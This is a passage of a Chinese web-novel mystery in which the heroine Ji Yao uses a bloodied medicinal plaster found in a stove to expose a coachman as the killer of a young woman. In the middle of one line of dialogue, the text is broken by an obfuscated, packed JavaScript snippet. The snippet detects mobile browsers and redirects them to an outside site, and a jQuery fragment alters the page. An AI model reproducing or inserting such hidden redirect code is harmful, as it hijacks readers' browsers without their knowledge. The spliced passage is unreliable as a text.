“我每次看见陈无忧的游灵时,她除了冲着你们发怒那会儿,手是抬起来的以外,其他时候都是保持着一个怪异的姿势,左手捉住右手,像是在用力将什么东西紧紧握住。所以我猜测,这会不会是她死前手里留有凶手身上的东西,所以才会在死后都放心不下,一直做出握紧双手的姿势。而尸体被抬走的时候,我记得尸体的手是握成拳状的,但是什么东西都没有。” “……所以师娘以为,她手里攥着的东西还在灶洞里?” 南星眸光闪动,眼珠转动几下后倏忽然起身,快步走到宅院里屋取了蜡烛来点燃,将整个烛台伸进灶洞里。少女锐利的目光在那些四散的木炭碎石里寻找片刻,一猫腰将里面一块木炭下压着的东西掏了出来。 将烛火再拉近些,两人看清季窈手里的东西,疑惑对视。 “这是什么?” 少女布满碳灰的掌心,一个被捏成长条形状的布条躺在上面,上面还沾着血迹。展开来,是一张触感像麻布,又像油纸的四方黄色薄片。布片正中间,一块圆形的黑色泥垢糊在上头,凑近一闻,隐约还能闻到一点刺鼻的药味。 “这是……药膏?” “这是块膏药贴,”南星伸手将膏药翻过来,上面皱巴巴的痕迹明显就是被人为长时间握在手里的最好证据,“确定陈无忧手里攥着的就是这个吗?” 季窈拿着木棍又在灶洞里翻找一圈,完事儿起身,拍拍衣裙,将东西用手绢包好。 “灶台里除了这个以外,都是与生火有关的木柴、黑炭,这块东西若是在灶台废弃之前被人扔进去,不可能保存得如此完整……等等。” 她好像想起了什么,转过身来又问道:“你说这是何物?” 南星接过她手里的东西揣进自己怀中,再抬起袖子仔仔细细的给她擦起手里的污垢来。 “膏药贴。一般做苦活、重活的人难免伤筋动骨,内伤也好,外伤也罢,都会买上几贴狗皮膏药贴在痛处缓解一二。别的不说,咱们厨房专门负责切菜的厨子手上就经常贴此物,后来有女客说影响饭菜的气味,我们才叫他在做饭的时候必须将狗皮膏药取下来,再行切菜做饭。” 再看季窈,她的目光停留在灶台上飘忽不定的烛火上,耀目的红色焰火倒映在少女眼眸里,好似璀璨的星光。她激动得抓住面前郎君的手,忍不住微微发颤。 “我见过此物!就在那个人的虎口处!难怪……难怪我一直都觉得有什么地方不对劲,现在终于都明白了!” 说完,她瞧见南星面上疑惑,嘴角勾起一个笑容,顺势牵着南星走出厨房,兴致高昂。 “有一件事,你不觉得奇怪吗?林生因为打晕了陈无忧,害怕她醒来缠着自己,所以只好放弃那日与甄员外的私会,出来找人给甄员外带了口信,告诉他最近都不要见面,这很合理。可是甄员外不一样。” “他因客人突然到访,造成失约是真,何处不合理?” 月色下,少女眸底底光比月光还亮上几分,她抬头看向门口那盏破灯笼,目光清澈。 “这个案子到现在,已经将所有人的嫌疑都排除在外,那只能说明陈无忧的命案里,一定还有一个一直被我们忽略掉的人参与其中。直到方才你说这是狗皮膏药,用来贴在患处,我顺着那个人才想起:既然林生都知道找人去向甄员外报信,说自己赴不了约,那如果你作为甄员外,今晚无法履行约定,去到城郊见自己心爱的女娘一面,你会如何做?” 虽然并不想将自己比作甄员外,南星却很喜欢她的这个问题。少年不动声色地将季窈的手又握紧了些,与她一同走在林中小径上。 “我可舍不得她久等,一定会……”话没说完,少年眼神一亮,立刻明白过来,“等等,你是说,凶手是……” “没错,就是他!我们现在就去把他抓起来,送去官府!” 季窈正为自己的发现感到兴奋,下一瞬,少年手腕一个用力将她拉住,阻止她继续往前。因为突然的拉扯,少女顺势转身,猝不及防撞在南星胸膛上,鼻子刚好磕到他下巴,疼得季窈皱眉。 “做什么?” 揉着鼻子抬头看去,少年眼眸深邃,带着几分赞许的同时显然还有别的考量。 “就凭一块狗皮膏药想让他认罪,可能没那么容易,师娘如果确认那人虎口贴有此膏药,就且忍一忍,等我们收集了足够的证据再设计将他当场抓捕,让他无话可说。” 听到说自己好不容易找到的东西不足以指证凶手,季窈有些不开心,挣脱少年的手就去掏他怀里的手绢。 “这有什么不能证明的,我这就拿去药铺给大夫看看上面药膏的成分,你给我。” 少年被她那双兴风作浪的小手挠得怪痒的,闪躲之间忍不住笑。 “东西放我这里,师娘且好好睡上一觉,等我好消息罢,省得你带着这个东西回房会兴奋得睡不着。” “这是我找到的,功劳都是我的,你给我……” “不给,师娘别扯我衣服,男女授受不亲……” “呸,你这个时候知道说我了,快给我!” 林间小路上,一高一矮两个身影打闹着,影子交织缠绕在一起,为静谧的夜色增添几分趣意。 ** 三日后,日出将晴。 一个略弯腰驼背的身影手里揣着几贴膏药,正拐过街口到了甄府门口,正迈步准备往里面走,身后一个清脆的声音突然将他叫住。 “杀人凶手,还不站住!” 他回头看去,见说话的人面容清隽秀丽,斯文气里带着三分娇媚,立刻认出这是南风馆里的季掌柜。季窈叉着腰将面前人叫住,嘴傲气地歪向一边,允自得意。与此同时,南星和京墨也站到少女身后,蝉衣带着一小队官兵接踵而至,人群霎时间乌泱一片,将整个甄府门口团团围住。 甄府里面的人也听见动静,甄员外带着赵大娘子从里面走出来,身后不乏几个看热闹的小妾和仆人,他们看着门口被季窈唤杀人凶手的人,表情错愕不已。 “你、你、你……” “不,我没……” “就是你!那日你听甄员外的话到城郊宅院,原本只是去向男扮女装的林生传达你们家老爷今日无法赴约的消息,却没想到刚好在屋子里看到了昏迷的陈无忧,你起了歹念,趁她昏厥将她奸杀,而后藏尸灶台。种种证据都指向你,杀人凶手!” 此言一出,在场人无不瞠目结舌,怔在当场。甄员外听她提起林生,急得脸红耳热。 “季掌休要再提起他。” “咳咳,若要人不知,除非己莫为。”少女讽刺回应,复而转身继续对面前人道,“或者我也可以学着赵大娘子那样,唤你一声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12391069|128911||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 九叔。” 京墨被这一句称呼唤醒了从前的记忆,立刻认出被唤九叔的男子正是甄员外的车夫。他年纪五十岁上下,虽有些驼背但体格强健,此刻被季窈指认,立刻慌慌张张将手里的狗皮膏药藏起怀中,后连连摆手否认。 “我没有!此等杀头的大罪,你休要胡说!” 季窈从怀中掏出手绢,展开来,一块皱巴巴、脏兮兮的狗皮膏药静静地躺在她掌心,仿佛是这一场闹剧最后的观众。 “这张膏药是在填埋陈无忧的灶洞里找到,应该是凶手在在侵犯她的时候,混乱之中被她扯下来捏在手心,一直跟着她被埋进灶台之下,之后又从她手中滑落下来的。我们问过你经常买药的医馆,确认这上面的药就是你经常会去拿了贴在虎口处的。车夫驾车,双手虎口想必经常会开裂。若你还想狡辩,就把你怀里新买的狗皮膏药拿出来与这块对比一下,便知分晓。” 见官兵准备围上来,车夫捂着胸口,想了想开口喊道:“这城里车夫多的很,大家用的药都一样,你怎么能就凭这个污蔑我?我不认!我没有杀人!” 季窈冷脸上前,伸手指着他的手。 “膏药上沾着血迹,想必凶手在被陈无忧扯下膏药时还意外被她抓伤。你可不可以给大家看一下你的手背,看上面是否有抓痕。” 一听这话,车夫立刻疯了似的用右手将自己左手手背盖住,转身想跑,南星一个箭步冲上来将他按住,脸贴在甄府大门上,强行将左手手背展示到大家面前。 手背虎口处三条抓痕清晰可见,还结着血痂,他仍是狡辩。 “是、是猫抓的!后院那只猫将府里好几个仆人都抓伤了,为什么不说他们!” “好,死到临头还不承认,”季窈转过身,朝着惊魂未定的甄员外和赵大娘子开口道,“甄老爷,大娘子,你们还记得,上个月十五那晚,九叔何时出去,又何时回来的吗?” 一旁看了许久热闹的甄府管家闻言上前,怯生生道:“我记得,老九申时驾马车出的门,回来的时候我刚送客人出门,那时候应该是戌时四刻。” 南星“咚”的一声将车夫的头撞在门上,语气凶狠。 “驾马车从甄府到城郊一个来回最多一个时辰,你却整整花了快三个时辰,还说没杀人!” 他被南星这一下撞得发昏,结结巴巴道:“我……我……” “我来替你说,”季窈又从怀中掏出一个小纸包,打开来是淡绿色粉末,少女神色自若,将纸包递到车夫面前说道:“你杀死陈无忧之后,并没有立即驾车回甄府,而是拐道去了城北一家你从未去过的医馆买了巴豆,所以才耽误了这么长时间,我们已经找到那家医馆,与大夫确认过,上月十五日那晚,有个与车夫身形长相一模一样的人在他打烊之前来买过一包巴豆。” “巴豆?”甄员外听着不对劲,想凑上前来看看,被赵大娘子一把拉回去。 “对,甄老爷,你那晚宴请客人之后,深夜突然拉肚子并不是偶然,而是他在你就寝前一定会喝的安神汤里加了磨成粉的巴豆,你算算时辰,是否是他回来之后,你才开始感觉到肚子不舒服的?” 甄员外气得鼻子冒烟,伸出手指颤悠悠指向车夫,怒吼道:“老九,你、你为什么要这么做?” 此刻车夫的半边脸已经肿了起来,他忍着疼,嘴里含糊不清。 “我……我……” “还是我来替你说罢。”季窈背着手,比刚才又悠闲了几分,京墨看着她得意的模样,眼里盛满笑意。 “因为你要确保甄员外那几日都无法去到城郊与林生私会,这样你才能有足够的时间找地方将陈无忧的尸体藏起来。前两日我已经偷偷跟府上其他人打听过,确认在上个月十六日那天,你谎称身体不适向管家告假,消失了一天,至于去了哪里做了什么,大家都已经很清楚了。我劝你还是早点认罪,免受那诸多的皮肉之苦。”